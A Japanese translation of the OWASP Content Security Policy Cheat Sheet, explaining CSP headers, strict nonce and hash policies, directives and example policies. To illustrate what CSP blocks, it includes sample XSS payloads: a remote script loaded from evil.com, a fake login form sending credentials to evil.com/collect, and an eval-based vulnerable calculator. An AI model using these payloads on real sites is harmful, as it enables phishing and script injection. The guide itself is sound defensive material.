Content Security Policy

Content Security Policy Cheat Sheet

原典
Content Security Policy Cheat Sheet(OWASP Cheat Sheet Series)
原文
GitHub 上の Markdown
底本
bac04fb5(2026-07-29 時点)
ライセンス
CC BY-SA 4.0(原典と同一。訳文も同ライセンスで再配布できます)

はじめに

この記事は、多層防御の考え方を Web アプリケーションのクライアント側に取り込む方法を示す。 サーバーから Content-Security-Policy(CSP)のヘッダを送出することで、ブラウザはそれを認識し、閲覧中のページにコンテンツを読み込む動的な呼び出しから利用者を保護できるようになる。

背景

XSS(クロスサイトスクリプティング)、クリックジャッキング、クロスサイトリークの脆弱性の増加は、より多層防御的な安全対策を求めている。

XSS に対する防御

CSP は次の方法で XSS 攻撃から防御する。

1. インラインスクリプトの制限

ページがインラインスクリプトを実行しないようにすることで、次のような注入は働かなくなる。

<script>document.body.innerHTML='defaced'</script>

2. リモートのスクリプトの制限

ページが任意のサーバーからスクリプトを読み込まないようにすることで、次のような注入は働かなくなる。

<script src="https://evil.com/hacked.js"></script>

3. 安全でない JavaScript の制限

ページが eval のようなテキストから JavaScript を作る関数を実行しないようにすることで、次のような脆弱性からサイトを守れる。

// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);

4. フォーム送信先の制限

サイト上の HTML フォームがデータを送信できる先を制限することで、フィッシングのフォームの注入も働かなくなる。

<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>

<label>Password</label>
<input type="password" name="pass"/>

<input type="Submit" value="Login"/>
</form>

5. オブジェクトの制限

HTML の object タグを制限することで、攻撃者が悪意ある Flash、Java、その他のレガシーな実行可能形式をページに注入することもできなくなる。

フレーム化を用いた攻撃に対する防御

クリックジャッキングや、ブラウザのサイドチャネル攻撃の一部(xs-leaks)は、悪意あるサイトが標的のサイトをフレームに読み込むことを必要とする。

歴史的には X-Frame-Options ヘッダがこれに使われてきたが、CSP の frame-ancestors ディレクティブによって廃れた。

多層防御

強固な CSP は、各種の脆弱性、とくに XSS に対して有効な第二の層の保護を与える。 CSP は Web アプリケーションが脆弱性を含むこと自体を防ぐわけではないが、攻撃者がその脆弱性を悪用することを著しく難しくできる。

利用者の入力を一切受け付けない完全な静的サイトであっても、CSP を使って Subresource Integrity(SRI)の使用を強制できる。 これは、JavaScript ファイル(アクセス解析のスクリプトなど)を配信するサードパーティのサイトが侵害された場合に、悪意あるコードがサイトに読み込まれることを防ぐ助けになる。

以上を述べたうえで、CSP を XSS に対する唯一の防御機構として頼るべきではないクロスサイトスクリプティングの防止で述べたような良い開発慣行に従ったうえで、その上に追加の安全の層として CSP を展開する。

ポリシーの配送

Content Security Policy をサイトへ届ける方法は三つある。

1. Content-Security-Policy ヘッダ

Web サーバーから Content-Security-Policy の HTTP レスポンスヘッダを送る。

Content-Security-Policy: ...

ヘッダを使う方法が望ましく、CSP の全機能に対応する。 インデックスページだけでなく、すべての HTTP 応答で送る。

これは W3C 仕様の標準ヘッダである。 Firefox 23 以降、Chrome 25 以降、Opera 19 以降が対応している。

2. Content-Security-Policy-Report-Only ヘッダ

Content-Security-Policy-Report-Only を使えば、強制されない CSP を届けられる。

Content-Security-Policy-Report-Only: ...

それでも違反の報告はコンソールに出力され、report-toreport-uri のディレクティブが使われていれば違反の受け口へ送られる。

これも W3C 仕様の標準ヘッダである。 Firefox 23 以降、Chrome 25 以降、Opera 19 以降が対応しており、ポリシーは遮断しない(フェイルオープン)形で働き、report-uri(または新しい report-to)ディレクティブで指定された URL へ報告が送られる。 これは遮断するモード(フェイルクローズ)で CSP を使う前段として使われることが多い。

ブラウザは、サイトが Content-Security-PolicyContent-Security-Policy-Report-Only を同時に使うことに完全に対応しており、問題は生じない。 この形は、たとえば厳格な Report-Only のポリシーを走らせて多くの違反報告を得ながら、正当な機能を壊さないようにより緩いポリシーを強制する、という使い方ができる。

3. Content-Security-Policy の meta タグ

ヘッダを制御できない CDN に HTML ファイルを配置する場合など、Content-Security-Policy ヘッダを使えないことがある。

その場合でも、HTML のマークアップに http-equiv の meta タグを次のように指定すれば CSP を使える。

<meta http-equiv="Content-Security-Policy" content="...">

XSS に対する防御をはじめ、ほぼすべてが引き続き有効である。 ただしフレーム化の防止サンドボックスCSP 違反の記録の受け口は使えない。

警告

X-Content-Security-PolicyX-WebKit-CSP使ってはならない。 これらの実装は(Firefox 23、Chrome 25 以降)廃れており、機能が限られ、一貫性がなく、不具合が非常に多い。

CSP の種類(細かい許可リスト方式と厳格方式)

CSP を組み立てる元来の仕組みは、HTML ページの文脈で許可されるコンテンツと供給元を定める許可リストを作るものだった。

しかし現在の主導的な慣行は「厳格な(Strict)」CSP を作ることである。 これは展開がはるかに容易で、回避されにくいためより安全である。

厳格な CSP

厳格な CSP は、後述の Fetch ディレクティブのうち限られたものを使い、次の二つの仕組みのいずれかと組み合わせることで作れる。

  • nonce に基づく方式
  • ハッシュに基づく方式

strict-dynamic ディレクティブも任意で使えて、厳格な CSP の実装を容易にする。

以下の節はこれらの仕組みの基本的な手引きを与えるが、厳格な CSP を作るための Google の詳細で体系的な手順に従うことを強く推奨する。

Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)

nonce に基づく方式

nonce は HTTP 応答ごとに生成する一意で一度だけ使うランダムな値であり、次のように Content-Security-Policy ヘッダに加える。

const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;

この nonce をビューへ渡し(nonce を使うには静的でない HTML が必要になる)、次のような script タグを描画する。

<script nonce="<%= nonce %>">
    ...
</script>

警告

すべての script タグを "script nonce=..." に置き換えるミドルウェアを作ってはならない。 攻撃者が注入したスクリプトにも nonce が付いてしまう。 nonce を使うには実際の HTML テンプレートエンジンが必要である。

ハッシュ

インラインスクリプトが必要な場合、script-src 'hash_algo-hash' は特定のスクリプトのみの実行を許可するもう一つの選択肢である。

Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='

ハッシュを得るには、Google Chrome の開発者ツールで次のような違反を確認する。

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "..." Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce...

ハッシュ生成ツールも使える。 ハッシュを使う優れたがある。

注意

ハッシュを使う方法にはリスクがある。 コードの整形などによって script タグの中身を(空白であっても)何か変えると、ハッシュが変わり、スクリプトは描画されなくなる。

strict-dynamic

strict-dynamic ディレクティブは、ハッシュまたは nonce と組み合わせて、厳格な CSP の一部として使える。

正しいハッシュまたは nonce を持つスクリプトブロックが追加の DOM 要素を作り、その中で JS を実行する場合、strict-dynamic はそれらの要素も信頼するようブラウザに伝える。 各要素に明示的に nonce やハッシュを付ける必要がなくなる。

strict-dynamic は CSP レベル 3 の機能であるが、CSP レベル 3 は一般的な現代のブラウザで非常に広く対応されている。

さらに詳しくは strict-dynamic の使い方を参照する。

CSP のディレクティブの詳細

開発者がポリシーの流れを細かく制御できるよう、複数の種類のディレクティブが存在する。 厳格でないポリシーを細かすぎる、あるいは緩すぎる形で作ると、回避と保護の喪失につながりやすいことに注意する。

Fetch ディレクティブ

Fetch ディレクティブは、どの場所を信頼してリソースを読み込むのかをブラウザに伝える。

ほとんどの Fetch ディレクティブは w3 で規定された代替の一覧を持つ。 この一覧により、スクリプト、画像、ファイルなどの供給元を細かく制御できる。

  • child-src は入れ子になったブラウジングコンテキストとワーカーの実行コンテキストを制御する。
  • connect-src は fetch のリクエスト、XHR、eventsource、beacon、WebSocket の接続を制御する。
  • font-src はフォントを読み込む URL を指定する。
  • img-src は画像を読み込める URL を指定する。
  • manifest-src はアプリケーションのマニフェストを読み込める URL を指定する。
  • media-src は動画、音声、テキストトラックのリソースを読み込める URL を指定する。
  • prefetch-src はリソースを事前取得できる URL を指定する。
  • object-src はプラグインを読み込める URL を指定する。
  • script-src はスクリプトを実行できる場所を指定する。他のスクリプト系ディレクティブに対する代替のディレクティブでもある。
    • script-src-elem はスクリプトのリクエストとブロックの実行が起こりうる場所を制御する。
    • script-src-attr はイベントハンドラの実行を制御する。
  • style-src は文書にスタイルが適用される元を制御する。<link> 要素、@import 規則、Link HTTP レスポンスヘッダに由来するリクエストを含む。
    • style-src-elem はインライン属性を除くスタイルを制御する。
    • style-src-attr はスタイル属性を制御する。
  • default-src は他の Fetch ディレクティブに対する代替のディレクティブである。明示されたディレクティブは継承しないが、明示されていないディレクティブは default-src の値に落ちる。

Document ディレクティブ

Document ディレクティブは、ポリシーが適用される文書の性質についてブラウザに指示する。

  • base-uri<base> 要素が使える URL を指定する。
  • plugin-types は文書に読み込めるリソースの種別(application/pdf など)を制限する。対象となる <embed><object> の要素には三つの規則が適用される。
    • 要素は自身の type を明示的に宣言する必要がある。
    • 要素の type は宣言された type に一致する必要がある。
    • 要素のリソースは宣言された type に一致する必要がある。
  • sandbox はフォームの送信などページの動作を制限する。
    • リクエストヘッダ Content-Security-Policy とともに使われた場合にのみ適用される。
    • このディレクティブに値を指定しないと、すべてのサンドボックス制限が有効になる(Content-Security-Policy: sandbox;)。
    • sandbox の構文

Navigation ディレクティブは、文書がどこへ遷移できるか、どこから埋め込まれうるかをブラウザに指示する。

  • form-action はフォームが送信できる URL を制限する。
  • frame-ancestors は、要求されたリソースを <frame><iframe><object><embed><applet> の要素の内側に埋め込める URL を制限する。
    • このディレクティブを <meta> タグで指定した場合は無視される。
    • このディレクティブは default-src に落ちない。
    • X-Frame-Options はこのディレクティブによって廃れており、ユーザーエージェントに無視される。

Reporting ディレクティブ

Reporting ディレクティブは、遮断された動作の違反を指定した場所へ届ける。 これらのディレクティブはそれ自体では働かず、他のディレクティブに依存する。

  • report-to(CSP レベル 3。Reporting API とともに使う)が現行の主要な報告ディレクティブである。JSON 形式の受け口の一覧を含む Reporting-Endpoints(または旧来の Report-To)レスポンスヘッダで定義したグループ名を参照する。
  • report-uri は CSP レベル 3 において report-to を優先する形で非推奨となった。報告の送信先となる URI を取る。
    • 形式:Content-Security-Policy: report-uri https://example.com/csp-reports

後方互換のためには、両方のディレクティブを併記する。 report-to に対応するブラウザはそれを使い、report-uri を無視する。 古いブラウザは report-uri に落ちる。 古いブラウザへの対応が不要になれば、report-uri は削除できる。

特別なディレクティブの値

説明
'none'どの URL にも一致しない。
'self'スキームとポート番号が同じ、生成元のサイトを指す。
'unsafe-inline'インラインのスクリプトやスタイルの使用を許可する。
'unsafe-eval'スクリプト内での eval の使用を許可する。

ディレクティブの値の働きをより深く理解するには w3c の source list を参照する。

CSP のポリシーの例

厳格なポリシー

厳格なポリシーの役割は、古典的な蓄積型 XSS、反射型 XSS、および DOM XSS の一部から保護することであり、CSP を実装しようとするチームが目指すべき最適な目標である。

前述のとおり、Google は厳格な CSP を作るための詳細で体系的な手順を用意している。

その手順に基づき、厳格なポリシーを適用するには次の二つのいずれかを使える。

nonce に基づく厳格なポリシー

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

ハッシュに基づく厳格なポリシー

Content-Security-Policy:
  script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

厳格でない基本的な CSP のポリシー

厳格なポリシーを作れない場合にこのポリシーを使える。 これはクロスサイトのフレーム化とクロスサイトのフォーム送信を防ぐ。 既定水準のすべてのディレクティブについて生成元のドメインからのリソースのみを許可し、インラインのスクリプトやスタイルの実行を許可しない。

アプリケーションがこの制限のもとで動くなら、攻撃対象領域は大幅に減り、現代のほとんどのブラウザで機能する。

最も基本的なポリシーは次を前提とする。

  • すべてのリソースが文書と同じドメインで配信されている。
  • スクリプトとスタイルのリソースにインラインも eval もない。
  • 他のサイトがこのサイトをフレーム化する必要がない。
  • 外部のサイトへのフォーム送信がない。
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';

さらに締めるなら、次を適用できる。

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';

このポリシーは同一生成元からの画像、スクリプト、AJAX、CSS を許可し、それ以外のリソース(object、frame、media など)の読み込みを許可しない。

安全でないリクエストの昇格

HTTP から HTTPS へ移行する場合、次のディレクティブはすべてのリクエストが HTTPS で送られ、HTTP に落ちないことを保証する。

Content-Security-Policy: upgrade-insecure-requests;

フレーム化を用いた攻撃の防止(クリックジャッキング、クロスサイトリーク)

  • コンテンツのフレーム化をすべて防ぐには次を使う。
    • Content-Security-Policy: frame-ancestors 'none';
  • サイト自身に許可するには次を使う。
    • Content-Security-Policy: frame-ancestors 'self';
  • 信頼するドメインに許可するには次のようにする。
    • Content-Security-Policy: frame-ancestors trusted.com;

インラインのコードの書き換え

default-srcscript-src* のディレクティブが有効なとき、CSP は既定で、次のように HTML のソースにインラインで置かれた JavaScript のコードを無効にする。

<script>
var foo = "314"
<script>

インラインのコードは別の JavaScript ファイルへ移せる。 ページ内のコードは次のようになる。

<script src="app.js">
</script>

app.jsvar foo = "314" のコードを含む。

インラインのコードの制限はインラインのイベントハンドラにも適用されるので、次の記述は CSP のもとで遮断される。

<button id="button1" onclick="doSomething()">

これは addEventListener の呼び出しに置き換えるべきである。

document.getElementById("button1").addEventListener('click', doSomething);

参考資料